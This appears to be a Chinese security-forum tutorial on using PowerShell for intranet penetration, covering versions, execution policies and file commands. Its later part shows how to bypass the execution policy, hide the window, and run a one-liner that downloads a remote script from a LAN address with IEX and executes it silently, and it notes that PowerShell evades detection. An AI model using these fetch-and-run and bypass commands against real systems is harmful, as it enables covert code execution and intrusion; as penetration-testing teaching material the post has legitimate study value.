安全矩阵

 找回密码
 立即注册
搜索
查看: 2797|回复: 0

内网渗透之PowerShell

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-17 20:18:37 | 显示全部楼层 |阅读模式
原文链接:内网渗透之PowerShell

PowerShell是Windows系统(Windows7及Windows server 2008 R2以上版本)默认内置的一种功能,它的作用类似于cmd,但是能做的事远多于cmd。PowerShell构建在.NET平台上,所有命令传递的都是.NET对象。


一、简介

PowerShell的常见特点:
1、Windows7及以上系统默认安装;
2、PowerShell脚本是运行在内存中,不会写入磁盘;
3、可以远程下载PowerShell脚本并执行;
4、安全产品目前对PowerShell的检测并不是很强;
5、cmd通常会被阻止运行,但PowerShell不会。

Windows操作系统对应的各PowerShell版本信息如下:
PowerShell版本
操作系统
1.0
Windows server  2008
2.0
Windows server  2008 R2、Windows 7
3.0
Windows server  2012、Windows 8
4.0
Windows server  2012 R2、Windows 8.1
5.0
Windows  10
5.1
Windows server  2016
查询PowerShell版本只需运行命令:Get-Host 或 $PSVersionTable。

二、基本概念了解
1. PowerShell脚本的扩展名为:PS1。
2. 执行策略
可通过Get-ExecutionPolicy命令查看当前的PowerShell策略。
通常,系统为防止恶意脚本在PowerShell运行,PowerShell的执行策略默认设置为受限模式Restricted。

PowerShell有以下几种策略模式
1)Restricted:不能运行脚本;
2)RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(具备数字签名证书的除外);
3)AllSigned:仅当脚本由受信任的发布者签名才能运行;
4)Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名。

更改策略可使用命令Set-ExecutionPolicy <policy name>执行策略(见图一),想要成功更改策略必须管理员权限方可执行(见图二)。



3. 脚本运行
PowerShell运行脚本的方式和其他shell基本一致,可以通过输入完整路径进行运行,也可以进入到脚本所在的目录下运行。

示例:新建一个脚本:1.ps1
写入内容Get-Content C:\Users\admin\Desktop\1.txt,读取文件内容并输出,然后在PowerShell执行脚本(见图三)。



4. 管道
PowerShell的管道作用跟Linux的类似,都是将前一个命令的输出作为另一个命令的输入,两个目录之间使用“ | ”连接。
例如,在PowerShell中获取进行信息并以ID进行排序输出
Get-Process | Sort-Object ID (见图四)




三、基本操作命令
-NoLogo:启动不显示版权标志的PowerShell;
-WindowStyle Hidden (-W Hidden):隐藏窗口;
-NoProfile (-NoP):不加载当前用户的配置文件;
-Enc:执行 base64 编码后的 powershell 脚本字符串;
-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略;
-Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要;
-NonInteractive (-Nonl):非交互模式,PowerShell 不为用户提供交互的提示;

此外,PowerShell还兼容cmd与Linux的命令,例如查看目录可以同时使用ls和dir。

1. 文件操作类命令
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file
-value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content  test.txt
设置文件test.txt内容t:Set-Content  test.txt -Value "hello"
给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt

2. 绕过本地权限进行执行
当PowerShell的模式设置为“Restricted”时,执行脚本会出现以下情况(见图5 )


此时可以通过添加参数“-ExecutionPolicy Bypass”来绕过这这个限制(见图6 )


3.绕过本地权限并隐藏执行
  1. “-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile”
  2. PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t..\1.ps1
复制代码


当执行这个命令后,最直观的表现就是当前PowerShell自动关闭了。

4. 下载远程脚本绕过权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile
"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.104/Less-2/1.ps1')"
//红色为隐匿执行命令。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 22:20 , Processed in 0.015943 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表